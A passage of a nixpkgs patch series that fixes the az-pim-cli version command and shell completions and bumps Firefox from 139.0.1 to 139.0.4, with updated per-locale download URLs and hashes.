-    hash = "sha256-8ry7FomJem6rMv3q6w0LffWl3bDHSdyxlWzDf58oNnc=";
+    hash = "sha256-8HdPyJJT1boiMpflIe6wX4oOTqw4oKm982gm1Ei8h4w=";
   };
 
   nativeBuildInputs = [ undmg ];

From 622b4d348a8ed0b5c37cf34e89431966e9a7deb6 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Wed, 4 Jun 2025 14:58:06 -0700
Subject: [PATCH 0835/4511] az-pim-cli: fix version command

(cherry picked from commit c0ac87829fad6751473b57db4162b865e710fc13)
---
 pkgs/by-name/az/az-pim-cli/package.nix        | 18 +++++++++++---
 .../az/az-pim-cli/version-build-info.patch    | 24 +++++++++++++++++++
 2 files changed, 39 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/by-name/az/az-pim-cli/version-build-info.patch

diff --git a/pkgs/by-name/az/az-pim-cli/package.nix b/pkgs/by-name/az/az-pim-cli/package.nix
index e595583cde3b..bfd49402b660 100644
--- a/pkgs/by-name/az/az-pim-cli/package.nix
+++ b/pkgs/by-name/az/az-pim-cli/package.nix
@@ -7,7 +7,6 @@
   buildPackages,
   nix-update-script,
   testers,
-  az-pim-cli,
 }:
 buildGoModule (finalAttrs: {
   pname = "az-pim-cli";
@@ -20,12 +19,24 @@ buildGoModule (finalAttrs: {
     hash = "sha256-Zi/DNTroMews4PvPCeLWSq74xWdZ22NO2VtmW91zcfs=";
   };
 
+  patches = [
+    # removes info we don't have from version command
+    ./version-build-info.patch
+  ];
+
   vendorHash = "sha256-g4NcRNmHXS3mOtE0nbV96vFFoVzGFbAvcj/vkdXshoU=";
 
   nativeBuildInputs = [
     installShellFiles
   ];
 
+  env.CGO_ENABLED = 0;
+
+  ldflags = [
+    "-s"
+    "-X github.com/netr0m/az-pim-cli/cmd.version=v${finalAttrs.version}"
+  ];
+
   postInstall = lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
     let
       emulator = stdenv.hostPlatform.emulator buildPackages;
@@ -41,8 +52,9 @@ buildGoModule (finalAttrs: {
   passthru = {
     updateScript = nix-update-script { };
     tests.version = testers.testVersion {
-      command = "HOME=$TMPDIR az-pim-cli --version";
-      package = az-pim-cli;
+      command = "HOME=$TMPDIR az-pim-cli version";
+      package = finalAttrs.finalPackage;
+      version = "v${finalAttrs.version}";
     };
   };
 
diff --git a/pkgs/by-name/az/az-pim-cli/version-build-info.patch b/pkgs/by-name/az/az-pim-cli/version-build-info.patch
new file mode 100644
index 000000000000..7135b261bc96
--- /dev/null
+++ b/pkgs/by-name/az/az-pim-cli/version-build-info.patch
@@ -0,0 +1,24 @@
+diff --git a/cmd/version.go b/cmd/version.go
+index 816f044..ef107be 100644
+--- a/cmd/version.go
++++ b/cmd/version.go
+@@ -31,8 +31,7 @@ type BuildInfo struct {
+ }
+
+ func (b BuildInfo) String() string {
+-	return fmt.Sprintf("az-pim-cli version %s (built with %s from %s on %s)",
+-		b.Version, b.GoVersion, b.Commit, b.Date)
++    return fmt.Sprintf("az-pim-cli version %s", b.Version)
+ }
+
+ func printVersion(w io.Writer, info BuildInfo) {
+@@ -47,8 +46,8 @@ func createBuildInfo() BuildInfo {
+ 		Date:      date,
+ 	}
+
+-	buildInfo, available := debug.ReadBuildInfo()
+-	if !available {
++	buildInfo, _ := debug.ReadBuildInfo()
++	if true {
+ 		return info
+ 	}

From b2204526d93182be2ff8b364ff814fc73fb6b23f Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Wed, 4 Jun 2025 14:59:26 -0700
Subject: [PATCH 0836/4511] az-pim-cli: don't use emulator for shell
 completions

(cherry picked from commit a0b8a9def87d8196ca45320b6974d65ce0f40ad8)
---
 pkgs/by-name/az/az-pim-cli/package.nix | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/az/az-pim-cli/package.nix b/pkgs/by-name/az/az-pim-cli/package.nix
index bfd49402b660..326fada18b40 100644
--- a/pkgs/by-name/az/az-pim-cli/package.nix
+++ b/pkgs/by-name/az/az-pim-cli/package.nix
@@ -4,7 +4,6 @@
   fetchFromGitHub,
   installShellFiles,
   stdenv,
-  buildPackages,
   nix-update-script,
   testers,
 }:
@@ -37,17 +36,12 @@ buildGoModule (finalAttrs: {
     "-X github.com/netr0m/az-pim-cli/cmd.version=v${finalAttrs.version}"
   ];
 
-  postInstall = lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
-    let
-      emulator = stdenv.hostPlatform.emulator buildPackages;
-    in
-    ''
-      installShellCompletion --cmd az-pim-cli \
-        --bash <(${emulator} $out/bin/az-pim-cli completion bash) \
-        --fish <(${emulator} $out/bin/az-pim-cli completion fish) \
-        --zsh <(${emulator} $out/bin/az-pim-cli completion zsh)
-    ''
-  );
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd az-pim-cli \
+      --bash <($out/bin/az-pim-cli completion bash) \
+      --fish <($out/bin/az-pim-cli completion fish) \
+      --zsh <($out/bin/az-pim-cli completion zsh)
+  '';
 
   passthru = {
     updateScript = nix-update-script { };

From 31d6c7ea5c9c1b36f862908cfdbcad7edea5345b Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 15:21:54 +0200
Subject: [PATCH 0837/4511] firefox-unwrapped: 139.0.1 -> 139.0.4

https://www.mozilla.org/en-US/firefox/139.0.4/releasenotes/
(cherry picked from commit 90e373b43015c4c871152f7b72bc7dc018116c61)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index a40e941fa9b2..891ad11fed25 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "139.0.1";
+  version = "139.0.4";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "78ae10fc14900eb1273b7ff798a159504f68166c39b1f12ef9ea04243debc78472c24499da01641590feb5d2b28475131d2ec94d6f28fd4f2f644a721f7f40ba";
+    sha512 = "fa5ae798b0cd485e0a56b0c57ed7f33e0d0ef921302dc0169eac91926194abe2070beb54239c81924f819a60b589f305f923970d753c07ba50acc36e1a492db4";
   };
 
   meta = {

From bf2d3f8fbdf20aa4e8ee9cb152a7992de3bea904 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 15:22:27 +0200
Subject: [PATCH 0838/4511] firefox-bin-unwrapped: 139.0.1 -> 139.0.4

https://www.mozilla.org/en-US/firefox/139.0.4/releasenotes/
(cherry picked from commit 87bd4bc4cb18b65494b13ceac357b2e91d216b74)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 445154e47b18..5254073e2b7d 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "139.0.1";
+  version = "139.0.4";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ach/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ach/firefox-139.0.4.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "531bace0287edd3126a7de1a4950edb3886219284f5cfb698f54bd93f7d89957";
+      sha256 = "19ae3a43da28e5c553bbf4f760e8aac79351ba8e9c643af0f2631a2376d92dea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/af/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/af/firefox-139.0.4.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "cb6fe313b9cca7d7f0884b3b63316cd4ac0f021dab718c0c6346c8107054ef47";
+      sha256 = "b79aef52e82d5a9516a78f0f42e68780ef7aade45774a50349ae47e02493d3bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/an/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/an/firefox-139.0.4.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "21b18ae991160f15608e5aae118d9f872f03f7e4c20b708be6e1ab6c58d4675b";
+      sha256 = "c543ad41991d2b3236bbd569ec9a3a6ae7b9e5937be9de9fe09fc82362782768";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ar/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ar/firefox-139.0.4.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "a9fd657366881ccab8ffe614d4afe7b87bbe2c631e690886950a2a98a4ced119";
+      sha256 = "7d7c6f4952eb844cfc2d99397949e85159ee6213b0bffad340d1a27956a40bfc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ast/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ast/firefox-139.0.4.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "346bc1e46ac8b87d642fb14aa58144cd967d6504226fd6503db98ac4d617cda7";
+      sha256 = "d11e10813bf6caef3a3f53f9ab078cd04a6fbcb9f631f79a29f34551ebd8e36e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/az/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/az/firefox-139.0.4.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "921d0fd361669a97a64f5e871bd93b8afc650568a3936e4b1fdeba95b1e3bfd8";
+      sha256 = "d96a57a592b109a288eb73219f44197eed9513a42f14d9f5f71c2507dc0f8f3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/be/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/be/firefox-139.0.4.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "be98f68df512b714b0a2547415d397a71ae1b1e0b69c404899536714088b8850";
+      sha256 = "2919a424467a0272ab35a01382c646962f8600ca16bee4176ad5cbad82e6dbc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bg/firefox-139.0.4.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "f4dca70d4134c5ebd8020f6c7b2006fb1fe7ec18517593e6ee0f718803227db8";
+      sha256 = "7777ece2f960ca28ac2312dd18c3bc1d5efb513ddc07e91543dfa77ed94db2f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bn/firefox-139.0.4.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "08f2a48ee6e4e4080f5a70fd397ef39305e87e7e03c8c19248a5bcef35234ae3";
+      sha256 = "3f924e294a5e6fe2cddb55e89112744772c2b46fc4450eae13e4a167a2e91853";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/br/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/br/firefox-139.0.4.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "6527229a51049ed5f346cc272cbea875d83214a0e83d85416821c4f6ea587220";
+      sha256 = "812a847532d26309cd2d1fde6150b5e39539ceea15073a15ff4b2cc551586db7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bs/firefox-139.0.4.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "499ba368e57fce3fd31ac200af6ba5ae918ea5e3326704d8f3a446b5681da66e";
+      sha256 = "41ca24213010d602e2e1bacf62cd3067dc5c635025c0f52df453cc17276a19ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ca-valencia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca-valencia/firefox-139.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "70c274813df3a9541b432fbdc87b453ebcf7d6b12ae27c86b24086ad8e0055a8";
+      sha256 = "4a7a838e799b0c562538a907b6a9d6b62308a5a5c30a80d92d925dec2a53f7c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ca/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca/firefox-139.0.4.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "9e95e3c0474306acd060f86128eafb1dd5cc6ade3e9bb44da440902ba571c799";
+      sha256 = "aef43b035212bb41aa691e7d8c312665bd97787f68c72a334e6a93623e8d21d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cak/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cak/firefox-139.0.4.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "405c00b08ff957ea775168fd4a5a0ae6bc9512854b8d24b786eaffb0e3d73ae7";
+      sha256 = "3ed2e87b31317ee971b7bb96a8dd7badf8e2fceec526b764fbaac90b4f0065f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cs/firefox-139.0.4.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "9628d9a50311e99a35411ab503fff696d62d2205f4a57718a9f2f5176fdbd93b";
+      sha256 = "b61df9364e2bc3505596890983a29e6ba0da82f9983d54e101876c5d3f5e959c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cy/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cy/firefox-139.0.4.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "9843d46864214dbf6a7e7ac91dc4df53c37ac01616c95c1f29e8df8169b60139";
+      sha256 = "222132c847107c81b9c929efadcb0181366379e62ae10f11a353ed5fe91f896a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/da/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/da/firefox-139.0.4.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "e0b2e1ae31f6ef3b63f2272ad5fababf03c1a632ac06554b0a2975f03b6aeadc";
+      sha256 = "3d6c51d6cab42c94c1537f7ca9f871ae023bb58596fcf1214676b33ce073fec7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/de/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/de/firefox-139.0.4.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "6f28b439dc219daa41c6dea5bc6f1c397cb1da00617373d9f2e568396ee09f9e";
+      sha256 = "a47df34f27af806d3022034975b9cddd358ab3289e430f361c12f877ee24684d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/dsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/dsb/firefox-139.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "d10e5c883663f19159e2685734459d54203d2c3a5cdfd1f6f8d77b6945a010ca";
+      sha256 = "11bdcc776d0c2e6402b56af730b11e870a6f049d31a5090f642c8096e7dd2898";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/el/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/el/firefox-139.0.4.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "3601d5016cff81a3108f7a5e03c25553bcbdf18b6ce86504d12f9da04f7c0257";
+      sha256 = "d692ffdc64227eaed48fce8c77d124fc0743577b4bc9a3e8fe78966c2f3ec5bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-CA/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-CA/firefox-139.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "19236a577a4902ea72a2025c5df851bde6aa5aea38900ce264e9673dc67f531e";
+      sha256 = "9e470eb8dc39111c621c32cce5a95c7d3a8b57bcc574720515ceb9b8d972ecc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-GB/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-GB/firefox-139.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "7191920a7b31f514534d0086113c18ccf3070c64780a6d6700fcfd049a4f833e";
+      sha256 = "f43c3b9b31b17cddb029933815cde6edb9602436801485279f7843b16a9c1dd1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-US/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-US/firefox-139.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "f1a264f61d41700e8fcfa2310478d0c909655399a413072664fddaf612b53c07";
+      sha256 = "fe22686f09a0c46390fea430b26cccc323d92af26869699f394f25b5e71527a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/eo/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eo/firefox-139.0.4.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "3773ae8f49fdb802ac3a4f5c9995a2e4a018a4959a45802e3d7fc382a7fb846b";
+      sha256 = "78e64de10a7fc95dd7bff528b21e0a5deb2afa00dbfc96fd83de9ac2ef3a9794";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-AR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-AR/firefox-139.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "c148a4c9d587710fe85c94acaa2cc1b0e0ac9979e07ccb3d65edf589ba814d3a";
+      sha256 = "5bd405f5cb1fd55b65ee0c50e03b7b00c6e5640b6e1cdbd5e242c75341c2ace2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-CL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-CL/firefox-139.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "07a5533f64b7c6cccbe6c8585498bfe112b24d87cad5f83b88b5906dfa80baf8";
+      sha256 = "8c3f35f8bd8bc114916133659c9b0847a1f2cb83f48f0139e7a32d429850f85f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-ES/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-ES/firefox-139.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "a1050e1b1d082b4532aa152ca60168110ef054d7269ba51d179572945945c355";
+      sha256 = "85e59a1f85cadcabc191ca4127086b5162f80af63f5d90efa8aeb7c8f47195fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-MX/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-MX/firefox-139.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "2a50480c184d44c1ef996823696095376916dcdd03038121897ff3d9a40434d8";
+      sha256 = "27c3494deb84db86620c7029d36a8d300ac484555b925b50aa6c9cc94c646b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/et/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/et/firefox-139.0.4.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "d90aa3f7081f2239ce020c5ad14c5186e35362871a4b857ea6d40abb18d8195f";
+      sha256 = "a82d41362ffe731565a1e5ddb4ff14c61c22f703c5582b0068ed462ff76e0557";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/eu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eu/firefox-139.0.4.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "df530782bb84d1b7ced7b69b0e4b335adc40e391a767f69002b5d670ec5b23d9";
+      sha256 = "bc28af96081a3b3df3570e368d4712e2de86da3b6d4abb5da93bcd3dc72372ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fa/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fa/firefox-139.0.4.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "cf55def36d7c7e02b3fcc204fa61c6de1cc89d5a25aebbdd3e87263f9cae38b8";
+      sha256 = "940e74356f31591d458e4e4767c27aa8704c9adf3d586599789d7440874f02c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ff/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ff/firefox-139.0.4.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "b1bddfbccc91cf904f21a7ef347c053349296513514167b367cba1448f4c79d7";
+      sha256 = "d5e94fccef9530647f6b28e94e47265277b187eeceb5104915a9ce1dd4b776e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fi/firefox-139.0.4.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "ff106a72ef7908a85b970b270be8cdbb2be9b9f844f30a4feff385f33ac7d72a";
+      sha256 = "b03c29658689808dfb8a112f8804eeded078cd1b5046e7964c83083f4c241a81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fr/firefox-139.0.4.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "9589769873aa494ed4df75aa6f7842c110655bbc12616d4f361db68fad6a31a2";
+      sha256 = "91f4dd68920742372caf8285ea2670ee10de53cc95d3e4eecb8a8c5c44eb3230";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fur/firefox-139.0.4.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "e99f42326c7d4b7b66dc5f04ecce923aa8a6a8fd79033540678cc4f3bb50613e";
+      sha256 = "789717e8a3317f1e0ccdc7df1c82bfc717204f7a7362da7f1c6d73cf73ceccb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fy-NL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fy-NL/firefox-139.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "cd2617791e4444f4752a6d49f19683e42a06f8238cac5ad33b92f296ff821689";
+      sha256 = "da3063893f76052b19975ad1a5cf59296d2b05ec7756861271c2dfcc9de3997b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ga-IE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ga-IE/firefox-139.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "acd0644887f6d3b2e3ba24f87f29a3211002799e430130e85c29086eadcf4805";
+      sha256 = "443390d6794b84cd0bb2d0856aba154f1b3747fc580141285d5f5f4223d4dbdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gd/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gd/firefox-139.0.4.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "db082a8c3d652f9cd67cbd495f8ded411ceeebadc4f819753107557bf8c817ff";
+      sha256 = "0da26d8a5bf46e61ee2bb6a0a585d61aefa398bb970e830e6044931dec7e65b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gl/firefox-139.0.4.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "ecd26fdf0f91f3647a0a0ddffd31b1343fefe70ca0681abccd051f1ff23cd763";
+      sha256 = "e948e6433e2b5a0455348bcea3dc5ca2d9473e77a260a6a4a9aa49e0d745a20b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gn/firefox-139.0.4.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "77ddef80e76576e6e4617e887256cd58175f1ea7a3f03577ea0bc80c2dffa02d";
+      sha256 = "1a9ed525b71685b5ffbc9bb88f006fff1aa634dc437581796baed4f7ed318ac8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gu-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gu-IN/firefox-139.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "cad1a57b3daeb7f5a73e4b9f7772d0ea040a0af7364ceaa9133888e06c95d30d";
+      sha256 = "9b2255cc4c2ce0901fa2080dd68cc437c26ce51197242837f4f82dacf59070f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/he/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/he/firefox-139.0.4.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "71710c4a4a9624da9aa61464320c6142e01f2a26d2a729df9dc32adb5f0ab5ae";
+      sha256 = "7fd2fe76a612667b09ae2547aa83c92023abcee1c3ab18a4645c5e39d3ff2c08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hi-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hi-IN/firefox-139.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "e6150a19678737c0f4035b3bb9004cf5ca2e26778bb1f79bc2db01bbecff8b4f";
+      sha256 = "86fcf458b4e72b2345b3d4f22c0eed581ba743a0f44be9c8b1cd07612538154e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hr/firefox-139.0.4.tar.xz";
       locale = "hr";
